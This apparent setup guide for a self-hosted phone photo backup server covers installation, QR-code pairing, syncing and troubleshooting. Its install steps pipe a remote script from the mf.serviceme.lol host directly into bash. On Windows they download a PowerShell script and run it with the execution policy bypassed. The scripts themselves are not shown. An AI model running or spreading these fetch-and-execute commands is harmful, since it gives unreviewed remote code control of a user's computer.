Mobile Photo Backup: Save Photos and Videos to Your Own Server

Mobile Photo Backup: Save Photos and Videos to Your Own Server

  1. My AI Tools 🪜
  2. 1 hour ago
  3. 4 min read

As your phone fills up with photos and videos, you may want to keep a copy on your own computer or home server. iPhoneBackup helps you do that.

It supports Mac, Windows, and Linux servers. Connect your phone and computer to the same Wi-Fi network, scan the QR code shown by the server, and start syncing your photos and videos to a folder you choose.

中文版：查看手机相册同步指南

Downloads

The Android app is currently available. The iOS download link will be added here when it is ready:

There is no separate server package to download. Use the automatic installation method below.

Before you start

Please prepare the following:

  • A Mac, Windows, or Linux computer to use as the server.
  • A phone and computer connected to the same Wi-Fi network.
  • Enough free disk space for your photos and videos.
  • The iOS app for iPhone or the Android app for Android phones.

Install the server

macOS / Linux

Open Terminal and run:

curl -fsSL "https://mf.serviceme.lol/iphoneToolsScripts/install.sh" | bash -s -- --backup-dir "$HOME/Pictures/iPhoneBackup" --start

The installer creates the server and saves your photos and videos in the iPhoneBackup folder inside your Pictures folder. To use another location, replace the backup directory in the command with your preferred folder.

Windows

Open PowerShell and run:

$scriptPath = Join-Path $env:TEMP "iphonebackup-install.ps1"
Invoke-WebRequest https://mf.serviceme.lol/iphoneToolsScripts/install.ps1 -OutFile $scriptPath
Set-ExecutionPolicy -Scope Process Bypass
& $scriptPath -BackupDir "$env:USERPROFILE/Pictures/iPhoneBackup" -Start

The installer creates an iPhoneBackup folder inside your Pictures folder. If Windows asks whether the server can access the network, allow it to work on your local network.

After installation

The server usually opens its management page automatically. If it does not, open the management page address shown at the end of the installation in your computer’s browser.

On the management page, choose an existing space or create a new one. Open the specific space to display its QR code.

Connect your phone

iPhone

  1. Install and open the iOS app.
  2. Tap “Scan to set up” and scan the QR code shown on the specific space page.
  3. Allow the app to use the camera and access your photos.
  4. Choose “Full Access” in the photo permission settings if you want to sync your entire photo library.
  5. Tap “Start Sync” and wait for the sync to finish.

If the original photos are stored only in iCloud, your iPhone may need to download them first. The waiting time depends on your network and the number of photos. The current version requires you to open the app and tap “Start Sync” manually.

Android

The Android app supports Android 10 and later.

  1. Install and open the Android app.
  2. Tap “Scan to set up” and scan the QR code shown on the specific space page.
  3. Allow the app to access your photos and videos.
  4. Tap “Start Sync” and check the progress in the notification panel.

On Android 14, you can choose to sync the entire library or only selected albums. Once syncing starts, it can usually continue while the screen is locked or while you temporarily switch to another app.

After syncing, the Android app can also show the albums stored on the server.

Everyday use

  • Sync photos and videos.
  • Previously backed-up items are skipped automatically, so starting another sync will not create duplicate copies.
  • Create separate spaces for different family members or purposes.
  • Upload a small number of photos or videos manually from the space page.
  • Check the available disk space on the server regularly.

Troubleshooting

The phone cannot find the server

Make sure the server is running and that the phone and computer are connected to the same Wi-Fi network. If the computer shows a network access prompt, allow local network access.

The QR code cannot be scanned

Open the specific photo space page to display its QR code; do not use the space list on the server home page. Keep the entire QR code inside the scanning frame and increase the computer screen brightness if needed.

Only some photos are synced

On iPhone, check that the app has “Full Access” to your photos. If the photos are stored in iCloud, wait for the original files to download. On Android 14, check that you selected the albums or photos you want to sync.

Reconnecting after changing computers

Install and start the server on the new computer, open the space you want to use, and scan its QR code again with your phone.

Summary

Install the server, open the QR code for a space, scan it with your phone, and tap “Start Sync”. Your phone photos and videos will then be saved to your own computer or server. Run the sync whenever you need to keep your backup up to date.

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